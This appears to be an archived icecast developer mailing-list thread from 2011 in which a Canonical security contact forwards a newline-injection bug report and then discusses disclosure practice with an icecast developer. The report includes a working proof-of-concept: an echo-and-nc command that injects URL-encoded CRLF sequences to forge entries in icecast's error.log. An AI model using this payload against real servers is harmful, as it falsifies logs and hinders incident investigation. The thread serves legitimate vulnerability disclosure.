Icecast dev - Dec 2011 - Security issue in icecast

A security bug was reported by Moritz Naumann against icecast in
Ubuntu. You are being emailed as the upstream contact. Please keep
oss-security at lists.openwall.com[1] CC'd for any updates on this issue.

This issue should be considered public and has not yet been assigned a
CVE.

Details from the public bug follow:
https://launchpad.net/bugs/894782

From the reporter:
"Newline injection in error.log

Running this command against an icecast2 running on 127.0.0.1...

echo -ne "GET
/non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
0a[1970-01-01%20%2000:00:00]%20PHUN%20I'm%20feeling%20phunny%0d%
0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
20fserve/fserve_client_create%20req%20for%20file%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc
-vv 127.0.0.1 8000
> /dev/null
...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny
..."

Thanks in advance for your cooperation in coordinating a fix for this
issue.

[1] oss-security at lists.openwall.com is a public mailing list for
    people to collaborate on security vulnerabilities and coordinate
    security updates.

-- 
Jamie Strandboge             | http://www.canonical.com
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*snip*
Sending this to a public mailing list might not have been the smartest idea.

We're already aware of Moritz's finding and are working on a fix.

Expect icecast release 2.3.3 soon.

Best regards

Thomas Ruecker

On Thu, 2011-12-15 at 20:31 +0200, Thomas.Rucker at tieto.com
wrote:
> *snip*
> Sending this to a public mailing list might not have been the smartest
idea.
I considered this a low impact vulnerability and therefore followed the
procedures for reporting to oss-security. Additionally, I looked for a
security contact at http://www.icecast.org/contact.php but could not
find one, so I sent to the list since it said this was a valid way to
submit bugs. If the issue were more severe, I would have followed a
different procedure. I apologize for the inconvenience.
> We're already aware of Moritz's finding and are working on a fix.
> 
> Expect icecast release 2.3.3 soon.
Glad to hear. Thanks!

-- 
Jamie Strandboge             | http://www.canonical.com
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